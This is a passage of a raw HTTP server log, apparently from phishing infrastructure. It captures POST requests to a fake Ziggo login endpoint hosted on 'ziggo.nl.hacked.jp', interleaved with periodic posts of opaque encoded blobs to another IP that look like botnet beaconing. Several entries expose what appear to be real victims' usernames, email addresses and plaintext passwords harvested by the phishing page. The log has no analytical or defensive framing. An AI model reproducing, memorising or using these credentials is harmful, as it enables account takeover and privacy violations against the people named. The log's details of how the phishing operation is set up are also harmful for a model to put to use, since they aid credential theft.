  2106. [04:43] <HTTP> BV3mziJEWQFp7pd+CxefWQNvZZjY+fj9IuCoLmvtDksgIeTydOzOfe4GGyhEvS6WdYumLjz3UAkP0HcJYDEaNGZaJIv1CN3dfGGVsHwoFfNU6wpQE6cq0MYeCpGG1DOVmxE/fB9XRHnwV36I0LQgwHJh794xujC3zoHBT7xWQuGwJeTf9I4EbAPsQE3vvzSelQEkBCNoO6zMvoGpfBJe/yLycO8V3FUUIEPLOcYB0UWpJv9v4fW1SvtkMiHhHzKI6ofPk5daDFjBwaJPSi+MlhH+bOxwkie7lQ0BphEW3CSq85usQzliHdSjNgjtyU57HDhP/kGFc4A6IwJ/cjugHX45WorO70Zyc0KuDb3nBPgbbAaZ7DUIj8LhXkJHpsQpbHRTu1/WWZ2mIO
  2107. [04:43] <HTTP> RBBoNUR9zfMRLFriqgOGMU
  2108. [04:43] <HTTP> Socket initiated: 91.230.47.3
  2109. [04:43] <HTTP> GET / HTTP/1.0
  2110. [04:43] <HTTP> Connection: close
  2111. [04:45] <HTTP> Socket initiated: 93.41.104.77
  2112. [04:45] <HTTP> POST / HTTP/1.1
  2113. [04:45] <HTTP> Content-Type: application/x-www-form-urlencoded
  2114. [04:45] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2115. [04:45] <HTTP> Host: 172.86.120.218
  2116. [04:45] <HTTP> Content-Length: 408
  2117. [04:45] <HTTP> Cache-Control: no-cache
  2118. [04:45] <HTTP> Socket initiated: 84.104.44.104
  2119. [04:45] <HTTP> VF/mzXdFUkXiWDcLHotWoH8X+XlAEicqjUspdAhdFnPFGC5F6/W5pArNcH0tGvwSa+QEf5nhM0sq/lznf6yEMeOygHNna7f1+fhO5EFcK1WVR3XilE3Dm6nONkWxwK3ZzWYqrZR5YZmtZXOJ5ywkCBF9rc1kA4pt1K52rYC/Ra/Mhb/wrYDTclAJ47WFDmSi8n6Jr93I09OPmX+F/cj57K0wZB4pnm5olnb2VZN+p4wlA8azvmwM/nDPJxoQINhr4hDxlXjAbGeAlp2xF87zNY0yS0XK0BSXt/81Ri3AMTjYNNP1UqnzVtbrZLo0b4rWi5BjExmb1rKVFW/SssvcYILsr6d7Y4I1Zsvy+XbJKr2w7qeRQdO4vodRCQBJDtEfUTnFA1pxYpTlCgWoH5OJffiX
  2120. [04:45] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2121. [04:45] <HTTP> Host: ziggo.nl.hacked.jp
  2122. [04:45] <HTTP> Connection: keep-alive
  2123. [04:45] <HTTP> Content-Length: 106
  2124. [04:45] <HTTP> Cache-Control: max-age=0
  2125. [04:45] <HTTP> Origin: http://219.93.200.189
  2126. [04:45] <HTTP> Upgrade-Insecure-Requests: 1
  2127. [04:45] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  2128. [04:45] <HTTP> Content-Type: application/x-www-form-urlencoded
  2129. [04:45] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2130. [04:45] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2131. [04:45] <HTTP> Accept-Encoding: gzip, deflate
  2132. [04:45] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2133. [04:45] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=nicovang&userId=nicovang&password=24a26c67&button=
  2134. [04:46] <HTTP> Socket initiated: 80.114.47.6
  2135. [04:47] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2136. [04:47] <HTTP> Host: ziggo.nl.hacked.jp
  2137. [04:47] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
  2138. [04:47] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  2139. [04:47] <HTTP> Accept-Language: nl,en-US;q=0.7,en;q=0.3
  2140. [04:47] <HTTP> Accept-Encoding: gzip, deflate
  2141. [04:47] <HTTP> Content-Type: application/x-www-form-urlencoded
  2142. [04:47] <HTTP> Content-Length: 107
  2143. [04:47] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2144. [04:47] <HTTP> Connection: keep-alive
  2145. [04:47] <HTTP> Upgrade-Insecure-Requests: 1
  2146. [04:47] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Boudette&userId=Boudette&password=JanJo4851&button=
  2147. [04:47] <HTTP> Socket initiated: 93.41.104.77
  2148. [04:47] <HTTP> POST / HTTP/1.1
  2149. [04:47] <HTTP> Content-Type: application/x-www-form-urlencoded
  2150. [04:47] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2151. [04:47] <HTTP> Host: 172.86.120.218
  2152. [04:47] <HTTP> Socket initiated: 83.81.211.89
  2153. [04:47] <HTTP> Content-Length: 440
  2154. [04:47] <HTTP> Cache-Control: no-cache
  2155. [04:47] <HTTP> U1q7xX1AACGVV6HrMok5z5Rb4ijp4A20jEel22rpWctF5CFZZABOjSOWNiQbammcWgZSKBc/w39NZFcz/buqj9w5iftPlgtC7i2Ot6ZfyG3IoX3whscZ+HmwRd20fqRubG0FlO1m8LAt8suRrzaZGtoMOc6Nbk6udLqmMzHl26ECJGjdjAPxsNa0DoDgt3seGQ69t+Eakmjiddc9t5/7GRlw7lLXU4MGdlyRWrJKMpFGCN9OBKpwOfBT21EtENasa34Er/561tI8pCLdt3dY8iardBiWxVg4J9Yb1zf7nk9pYBEsa1HcCCCC0xk3/XSZWnIPpNkRU+QR2Feb/C45G5/XJCBNb72LfeweoPWZRGiajOyJDyRqShG44OhGqLGqS5/XCzhGkTC+EX
  2156. [04:47] <HTTP> vafEgoEyqvkjaZFawf64WctHgBOCOE6OFyvLH6Tw==
  2157. [04:47] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2158. [04:47] <HTTP> Host: ziggo.nl.hacked.jp
  2159. [04:47] <HTTP> Connection: keep-alive
  2160. [04:47] <HTTP> Content-Length: 118
  2161. [04:47] <HTTP> Cache-Control: max-age=0
  2162. [04:47] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2163. [04:47] <HTTP> Origin: http://219.93.200.189
  2164. [04:47] <HTTP> Upgrade-Insecure-Requests: 1
  2165. [04:47] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
  2166. [04:47] <HTTP> Content-Type: application/x-www-form-urlencoded
  2167. [04:47] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2168. [04:47] <HTTP> Accept-Encoding: gzip, deflate
  2169. [04:47] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2170. [04:47] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=aac%40ziggo.nl&userId=aac%40ziggo.nl&password=Dcnf56d2&button=
  2171. [04:48] <HTTP> Socket initiated: 82.72.68.231
  2172. [04:48] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2173. [04:48] <HTTP> Host: ziggo.nl.hacked.jp
  2174. [04:48] <HTTP> Connection: keep-alive
  2175. [04:48] <HTTP> Content-Length: 117
  2176. [04:48] <HTTP> Cache-Control: max-age=0
  2177. [04:48] <HTTP> Origin: http://219.93.200.189
  2178. [04:48] <HTTP> Upgrade-Insecure-Requests: 1
  2179. [04:48] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; GT-I9301I Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2180. [04:48] <HTTP> Content-Type: application/x-www-form-urlencoded
  2181. [04:48] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2182. [04:48] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2183. [04:48] <HTTP> Accept-Encoding: gzip, deflate
  2184. [04:48] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2185. [04:48] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=p.a.loonstra&userId=p.a.loonstra&password=nielssimone&button=
  2186. [04:49] <HTTP> Socket initiated: 93.41.104.77
  2187. [04:49] <HTTP> POST / HTTP/1.1
  2188. [04:49] <HTTP> Content-Type: application/x-www-form-urlencoded
  2189. [04:49] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2190. [04:49] <HTTP> Host: 172.86.120.218
  2191. [04:49] <HTTP> Content-Length: 412
  2192. [04:49] <HTTP> Cache-Control: no-cache
  2193. [04:49] <HTTP> UQmzmXIQU6LXgEjLm0449X8Arhd7obaMpsrPPYP4QSWILxLrpU8k4/2hkjkxEmHaIO/ila/T9jGyVI33KmPpVRLLCPmehMqKIwiSd6EGfxvb2DPlnbmFBjr/uGNxXqOvSZT0p4gULttksedgfDJW4NYUrjk7sca2Uvh1yxzg/ptuMU0GW3W+PJQ2drZfNWUn+XCecrMT/aNziUAYdNGOIvBVDBu/xplugDFFMo5G9xQHmSAHzY7dnMnp8Ol22tUudH2ocC8+1xF5rjZ9OSGD7tmZNdnfHksmkMGimSoN2/wQYTrlZTwFaKhXor0mQySiB3pJdppTlJAU7VPQs4AaMOn0QlRJ6WlmiQ1z0SI/PdioqBMCxbrbfJF/bN3F8sU6YdI2+PHI1E8Gh9
  2194. [04:49] <HTTP> LvnYdmQxgDfQ==
  2195. [04:49] <HTTP> Socket initiated: 83.82.173.46
  2196. [04:49] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2197. [04:49] <HTTP> Host: ziggo.nl.hacked.jp
  2198. [04:49] <HTTP> Connection: keep-alive
  2199. [04:49] <HTTP> Content-Length: 130
  2200. [04:49] <HTTP> Cache-Control: max-age=0
  2201. [04:49] <HTTP> Origin: http://219.93.200.189
  2202. [04:49] <HTTP> Upgrade-Insecure-Requests: 1
  2203. [04:49] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  2204. [04:49] <HTTP> Content-Type: application/x-www-form-urlencoded
  2205. [04:49] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2206. [04:49] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2207. [04:49] <HTTP> Accept-Encoding: gzip, deflate
  2208. [04:49] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2209. [04:49] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=hj.smout%40ziggo.n.&userId=hj.smout%40ziggo.n.&password=welkom.123&button=
  2210. [04:51] <HTTP> Socket initiated: 93.41.104.77
  2211. [04:51] <HTTP> POST / HTTP/1.1
  2212. [04:51] <HTTP> Content-Type: application/x-www-form-urlencoded
  2213. [04:51] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2214. [04:51] <HTTP> Host: 172.86.120.218
  2215. [04:51] <HTTP> Content-Length: 360
  2216. [04:51] <HTTP> Cache-Control: no-cache
  2217. [04:51] <HTTP> CVvmzHJEB9s/HeqfPYRtqI+di5njZ58het+cM+jye2xfLJ1TW4ckUKFEJc5wGhiwCi7WRTwhUyNd5SFz+wTdS6Y9gxu1To2LzMGaSzwSOb8X5NC+302kEb7l/YgSieW1eFvSghS4p8gIuHnf08MVAzIYv0umRlI84yW/3iCz0PXyMRsgrsukK1Jqe9p6/lI1b9DF03fOwMzub5yHmIJFiPekIW3bII88hsW9WHyD8WQ8cJBQim5BU6HS/uLMp7kZQwbssATryEa0ts0S0yzbimC0UPnuNY3pnaDiiVVi7fthj4WpXPM97mpjVG/Trl/6SZCqo1HbiT1DfhL83JJMMis/lupUsVjczf129AY=
  2218. [04:53] <HTTP> Socket initiated: 93.41.104.77
  2219. [04:53] <HTTP> POST / HTTP/1.1
  2220. [04:53] <HTTP> Content-Type: application/x-www-form-urlencoded
  2221. [04:53] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2222. [04:53] <HTTP> Host: 172.86.120.218
  2223. [04:53] <HTTP> Content-Length: 368
  2224. [04:53] <HTTP> Cache-Control: no-cache
  2225. [04:53] <HTTP> AFy2nXQWBAEsX7JbNI0qWGmmkF6vnTuHS6vyg1CI0tZ1wpC7RhJQ6MORX+sDiF8ollKESx3MljjkAR7nZIu36jBwCGtdbVEh9+SQd6OfAjfxwa9cDeimWvH2M74jLSEkb+gcqe0TfJkg2S4SlsKzgi5L3fg0YMYx62qo+SSlEnshSkAhNGrYs8x6WpcwDVO5MAkaflWWNjtHwDQbf7gseCNxQdS3kBNKLQg6gpR/u2x+BOR/OXYzRLeI/WDZoAQLVMForG9sYl2qycmvXJ2wnkiYELIvqsqlc8lhpsmB1LLvr0YsakYPfnBvlGcwA67OhBPZZdXriCmZ970mRAjpu4gWcqaXPlukKsuOCu+esvPCm7rc
  2226. [04:55] <HTTP> Socket initiated: 84.104.30.84
  2227. [04:55] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2228. [04:55] <HTTP> Host: ziggo.nl.hacked.jp
  2229. [04:55] <HTTP> Connection: keep-alive
  2230. [04:55] <HTTP> Content-Length: 130
  2231. [04:55] <HTTP> Cache-Control: max-age=0
  2232. [04:55] <HTTP> Origin: http://219.93.200.189
  2233. [04:55] <HTTP> Upgrade-Insecure-Requests: 1
  2234. [04:55] <HTTP> Socket initiated: 93.41.104.77
  2235. [04:55] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G930F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
  2236. [04:55] <HTTP> Content-Type: application/x-www-form-urlencoded
  2237. [04:55] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2238. [04:55] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2239. [04:55] <HTTP> Accept-Encoding: gzip, deflate
  2240. [04:55] <HTTP> Accept-Language: nl-NL,nl,en-US,en
  2241. [04:55] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Sjvanzwol%40ziggo.nl&userId=Sjvanzwol%40ziggo.nl&password=Duuren10&button=
  2242. [04:55] <HTTP> POST / HTTP/1.1
  2243. [04:55] <HTTP> Content-Type: application/x-www-form-urlencoded
  2244. [04:55] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2245. [04:55] <HTTP> Host: 172.86.120.218
  2246. [04:55] <HTTP> Content-Length: 408
  2247. [04:55] <HTTP> Cache-Control: no-cache
  2248. [04:55] <HTTP> CVq7xSYSUrVkgNifbJ16kNSNrtOlVjZQhsfbRt4clyL3XfjzhvZZizW7FHuiPmdKZpP29qu+v45BYwCTorVJ/STMp/lqRd9yAYUViLr/ltKMpEM7sCH5v6NLRMUyZUBcrEtVrWt7flCzL8IjD8MYD/5op5H16tjN9eMUFPKy10QbSWCqJLDtj1gg2YbNSG4lJfp257J7b13HT90M/bkgt5GZaxCMtzdYczDGISYCZlZ824VV7GXNn5RAto5RIimEX592SMla3gexhwV+3OagrbO4sBmsQrfP08T6osD5hnE2cvOxjCjtApvBPTVjJJkbPvPhytRfqyEOw0/ZsYqTJvo/jIVYx7+L1N0ySrW2br4II1++sVGcvfIBNGmoWHQidN/LZpwBsuWxJWowD+/DzM8=
  2249. [04:57] <HTTP> Socket initiated: 93.41.104.77
  2250. [04:57] <HTTP> POST / HTTP/1.1
  2251. [04:57] <HTTP> Content-Type: application/x-www-form-urlencoded
  2252. [04:57] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2253. [04:57] <HTTP> Host: 172.86.120.218
  2254. [04:57] <HTTP> Content-Length: 360
  2255. [04:57] <HTTP> Cache-Control: no-cache
  2256. [04:57] <HTTP> CF+3yHdHBYHfX2bgk8hxgYLfEcBWWwz9QhdklsSk46GlHNGeA8BwJn9keFiFp2awovYoF3w8V/WyVih7KkB1itvSe/V6/piKJcJ3c7cGGNErD39W68CALU810d1wXzh8WLgrIkG559dtCC+S5rswjEeKXKUyH2RJ9gwd87EYs3nXbqo2z/96YIpzJDfUShL4bu6DcZqbYCmm5QdF4Bv4Kn44B+x4OsJxPVSR4G9veoCIIWL06aQ+prHsqKLl3Ju0PSpNEL9RLjW/0+NvGHqkPFPhLPiq1oMM+dVbf+DV98oR3NwHCJrMazJ/Wj2PgjBs8/zBjp9RevZmnbQFr9ZjKt6ik24jl3zKb5fFNcQ=
  2257. [04:59] <HTTP> Socket initiated: 93.41.104.77
  2258. [04:59] <HTTP> POST / HTTP/1.1
  2259. [04:59] <HTTP> Content-Type: application/x-www-form-urlencoded
  2260. [04:59] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2261. [04:59] <HTTP> Host: 172.86.120.218
  2262. [04:59] <HTTP> Content-Length: 416
  2263. [04:59] <HTTP> Cache-Control: no-cache
  2264. [04:59] <HTTP> UVu0n3MRUUupyvJTUZA0KnZ7IymdjHjJOAOOCHBYFRmPs4lIJkWuN5rcTXxbSOX4OLYHxzHZbScUwIxuki6sxx0cCuRHT+5RZmbf5dgQ5zNHytQO1JIF0SXaA94QaIvbvPPnnHgIgDX0Ytp0zp6nFApoYK1mfT7Nf5kRvmitlYP3FYfzYkYjkH/nLYC/rJsvX2U0s5Ec1S245XofAC0uuAeSyXX8hUrUfGm7B0pzTD6IAN/e5i67JY4lWOHCmrp7En7gG5Ptfk7TPAxVLfPokO0SeJtLzm7heUDiRFF1BJzdVEUpJwvB8gQdD6avJ4kYSPGAEoGtcyKdXb90J8q19p1VR5eEvbYyJzCJ6lZKzJ/D8TlIedpGEeS/NNMQLajsgKo4NpeDQyeiO9
  2265. [04:59] <HTTP> du8X21P0QF9998HJ4l
  2266. [05:01] <HTTP> Socket initiated: 93.41.104.77
  2267. [05:01] <HTTP> POST / HTTP/1.1
  2268. [05:01] <HTTP> Content-Type: application/x-www-form-urlencoded
  2269. [05:01] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2270. [05:01] <HTTP> Host: 172.86.120.218
  2271. [05:01] <HTTP> Content-Length: 368
  2272. [05:01] <HTTP> Cache-Control: no-cache
  2273. [05:01] <HTTP> BVngn30SUdoqjW65w1k36kUWHWdP1XuePnsP85j7h1B9DDCKB8LYBx+DIHdoqlJaf0RqXvi5ObAxgkB/4AZOvLUlNDFUt5Xe1odVEm+7G/uhLfKyXkqUlXxP1Sb70RMNRo1LmfH9Mh5pM7o8Joq+cSzbsTx/vPYNtorZpX80cixpaglQtvuG/edMvvvyPNEFav7FSGgZX7Y3zYhht6IX+95gAi3T+Rr0p0tkywluGtXwuEAzrqmMXle0MwW+7RMylr3dJF956mOPUgWbKaHbaMDDrKK0HqC6pH6SB42TS79LWXs6o9rTI0jxiL1QFu5TcXNFOMAjmztoIyPeyPYFzMhklEMqrf+Q+Wxnbs2m6fRY5g==
  2274. [05:03] <HTTP> Socket initiated: 93.41.104.77
  2275. [05:03] <HTTP> POST / HTTP/1.1
  2276. [05:03] <HTTP> Content-Type: application/x-www-form-urlencoded
  2277. [05:03] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2278. [05:03] <HTTP> Host: 172.86.120.218
  2279. [05:03] <HTTP> Content-Length: 424
  2280. [05:03] <HTTP> Cache-Control: no-cache
  2281. [05:03] <HTTP> CA/nzHYXA3FBy6nb+nrqlpnyhJADtHDCG2rApV+L47Yjjfvbok19UeBoayvcDGUxP0sQR7p7TL4OnXnakolL5ledLDIriGcuriU67O02X87txIkNIqtoGZHdaV4hTBwZNu34goz0NWL5CcFa132DPP2cuPI32akxtBzl5LANYFS42Vs9kNwQrk1SkkAulngpIcG4jHcfcPDSu64CnWd7Kax95kRFYwf6+KVvgwAErlJqvRF8mfUwZWOi3AO1+XSEc1ZBPP53uK9AUU4W8VEbcWnzjgJiL7ERoQ5P3fSU/wRS4TOk4VuNOMxeSthPVu3IH/Vb+XLXtgciSoDYrBNHW68bhMoAox7qR/uPATbp56ednaRtgdiGxxuM3Ke9K4dQC0Sll3D5eL6S6J
  2282. [05:03] <HTTP> r+UjB/IZ69xhvdHWHihfU7ow==
  2283. [05:05] <HTTP> Socket initiated: 93.41.104.77
  2284. [05:05] <HTTP> POST / HTTP/1.1
  2285. [05:05] <HTTP> Content-Type: application/x-www-form-urlencoded
  2286. [05:05] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2287. [05:05] <HTTP> Host: 172.86.120.218
  2288. [05:05] <HTTP> Content-Length: 360
  2289. [05:05] <HTTP> Cache-Control: no-cache
  2290. [05:05] <HTTP> CVvknXRDVESqYQXRhTcn3lmSHRZBewg5dzwR+4PJZoQfi3O/DzHkgWRgyegoazjt10eODogfJlkg48mb9R6HWox38+qgLyJ7etWOZLM8UMkZRt+942FCm0IfvbsXb8x0yW1jXEwAY2SnZK9AFYz9t4PcXol/l6FHTSorErWJhKksbgqcbL+SXn2FLQadJUMaZQlUtJ0tVm+SutleMtlR+eRmfJBNJXNVMH7KGHqJcM5xML0ZsfK4YpOZuYEEeByVXbkX/Dd5xzAH/QgPq3j+1J3NQjnmsbXKmm0KEWEvYz9139VY68o4Os2+wljkL6t44PRJvPKB/y+S5Tlc/L8YCQ+nccf1p7mzNID9tQ==
  2291. [05:07] <HTTP> Socket initiated: 93.41.104.77
  2292. [05:07] <HTTP> POST / HTTP/1.1
  2293. [05:07] <HTTP> Content-Type: application/x-www-form-urlencoded
  2294. [05:07] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2295. [05:07] <HTTP> Host: 172.86.120.218
  2296. [05:07] <HTTP> Content-Length: 360
  2297. [05:07] <HTTP> Cache-Control: no-cache
  2298. [05:07] <HTTP> Bwi1mXIXUuJ1twHwsNhu05St2nNMCfnfcvqSKrtF6bO35xdSpKB1fVGB56NxZklxp9TaneY3G8O0PtswNiFkwgMtz2v/mV0ET5aKfqG36R1HezB/F1qBT9N2gSfNu5qCvRnxG07WX6QdpnyrhaUu1qwx1Jfr2hQnNMr3e96hK3qsRAaJ8MSAmzi/BJquePadKfKtQM24mr46ZTXRcYIjCB0IYlG3khzWmckhGRAy+WZEVwUe4DitCjQTeD0OaFNAzK0dKJ7ZvzjgouynS6JSPhILRQzYBAhECn1YSTguBww0R1YDlGDzuffrz36aDRMMgQ6ZuvW8+y/yBdc0/jA4FMCbNes/gYE+x1N2/mI=
  2299. [05:09] <HTTP> Socket initiated: 93.41.104.77
  2300. [05:09] <HTTP> POST / HTTP/1.1
  2301. [05:09] <HTTP> Content-Type: application/x-www-form-urlencoded
  2302. [05:09] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2303. [05:09] <HTTP> Host: 172.86.120.218
  2304. [05:09] <HTTP> Content-Length: 428
  2305. [05:09] <HTTP> Cache-Control: no-cache
  2306. [05:09] <HTTP> CFm3mHRABGWPtaXuAiXWq1qmiSdrxXCYDhNLEZbBZEtyixe5TY1/3igf4WeQrtaXKwQsVIMV50/mgYYQuxb2N1ZsOqW12d94f37hSemxeIaUqcNROmnFLJe3pAj6yXRdnhK0ZmCIWKf5+c9r17O7PVPlcGNE6PpFqqJoNGuViZdugQYRcr+tol99HSsv3RkBjjk/Dr2GsnIaZSG3UmMoxNtQFYyd+ZrzcmDTUoOWiow3/XlWYwiSB0GEaatrFWGYDzaXVFInNovs0pCyXwWBgEW895EpfTUZzQLtoJ51papTSvBsvziksUgdxo1roY+13qFiuOn20XNMQY97qgIcQxIEK8fAWC7wDanyNJHl2lR6bRMnE5HtLmiJDIlqtOO3M0Bkn4eToYjqQZ
  2307. [05:09] <HTTP> Z0Awnn/aRbgnGSs/cymkWD/xCY/A==
  2308. [05:11] <HTTP> Socket initiated: 93.41.104.77
  2309. [05:11] <HTTP> POST / HTTP/1.1
  2310. [05:11] <HTTP> Content-Type: application/x-www-form-urlencoded
  2311. [05:11] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2312. [05:11] <HTTP> Host: 172.86.120.218
  2313. [05:11] <HTTP> Content-Length: 420
  2314. [05:11] <HTTP> Cache-Control: no-cache
  2315. [05:11] <HTTP> UV7kzX0QA8kuML9ZYVDdLE/4I/RbolI8PzO9EwqezdcebUbhFLFuF3J9TtzpJFu8qgcHxkwpsVB82eEhECsPeSdfmhcnlNXOqJM5uFEKVEowGONmFQ+boRUvK6DAg8O67hzKA6+pJGoX3VQRJ6W5tF3xrYSB/+835wupJVxbZy17A1562EQdTM33d4voGsaemS4Wmm9Mh9Y5m5VW/VVlPEt3VCOChONavyOXS6F6a4iOwalXhdOsw2nrXKudbB9DF0eDQp3HUfy8HayHJ5HsfO/M/XfGeZzmkBRmAai3+nebGZRysYkz7S/FSuyKwRiUXTFDNZM94/xK2m96ai9LLPmtyzDtLlCkxkeN/wyGl8Z8VnnP/WgDCNCA35mcmXaLyWe2Gf3KZr83zD
  2316. [05:11] <HTTP> /yQTZyndwrnel1+CEWSw==
  2317. [05:13] <HTTP> Socket initiated: 93.41.104.77
  2318. [05:13] <HTTP> POST / HTTP/1.1
  2319. [05:13] <HTTP> Content-Type: application/x-www-form-urlencoded
  2320. [05:13] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2321. [05:13] <HTTP> Host: 172.86.120.218
  2322. [05:13] <HTTP> Content-Length: 384
  2323. [05:13] <HTTP> Cache-Control: no-cache
  2324. [05:13] <HTTP> BQ2zxSZDUpUe/Jij2FpgAAwoiDG3Xx7gfrYa2aN3bLkGu8XrFkBMbwCOB5OX5XIBEQ3mve7xbbi2o5FWkOZ6oT4WqbDjwpvpCeAinc7uUR+mes++JshltQBOt5jv7HOA/6VHZJYWVFqcIUY4z/SwK1PENqCsixI8Z+qM/0U5YKFAY3k3ZbT+nfH3TFGKmKsGL5Dd/fOEgXEWEzxVBXAvvUpGsAOQlcdkwVEcJY7ptNof/IKGfWYFTubwB6YGeeqkgrqX9dV4mdSTrEOBc0RTQZk/xR5XWO7l2qFU4PAJwq/1GQqvPgGzfQlDVIzChBuYigBrq2oHQ9ByG1vETmTi5ENlabzTt302wJ3qPjsR6KJJoA8vZgqVhmUjljUW3p/R
  2325. [05:15] <HTTP> Socket initiated: 93.41.104.77
  2326. [05:15] <HTTP> POST / HTTP/1.1
  2327. [05:15] <HTTP> Content-Type: application/x-www-form-urlencoded
  2328. [05:15] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2329. [05:15] <HTTP> Host: 172.86.120.218
  2330. [05:15] <HTTP> Content-Length: 372
  2331. [05:15] <HTTP> Cache-Control: no-cache
  2332. [05:15] <HTTP> BVywnnBFWQkSzcBrPxYHUcA3+MDHwGTdrG9o08hpZukaJw07ueMko6/I+SmsbqQEvOG0dt0iZihRB0Ax7SSie7tUp3Xt4+Risi/UjsXX8jAdEerRum2g6wwTQGs/ZVksXLcPzayUrssVR24sd29zzU9ZoeTxfG6a5R7AEvK4gVk7MXZpckhoJklNzElWixxTV3TsLYr1p2VfAFyfbz49DuoKyNa9U597aofo5ql5iJQyvzDpRj4SwJ9qgZ6NT3DmH77w4SrfgiiMKH1znuz9U5h2xsT30/2i9NUThtCV+FLrDlUXVNcwBChrmK8oQOKPYU9pYNBYFEV/vZraf5AANWY+7ZxxglyOCwlfSU5PbpEzmXwaboQ=
  2333. [05:17] <HTTP> Socket initiated: 93.41.104.77
  2334. [05:17] <HTTP> POST / HTTP/1.1
  2335. [05:17] <HTTP> Content-Type: application/x-www-form-urlencoded
  2336. [05:17] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2337. [05:17] <HTTP> Host: 172.86.120.218
  2338. [05:17] <HTTP> Content-Length: 428
  2339. [05:17] <HTTP> Cache-Control: no-cache
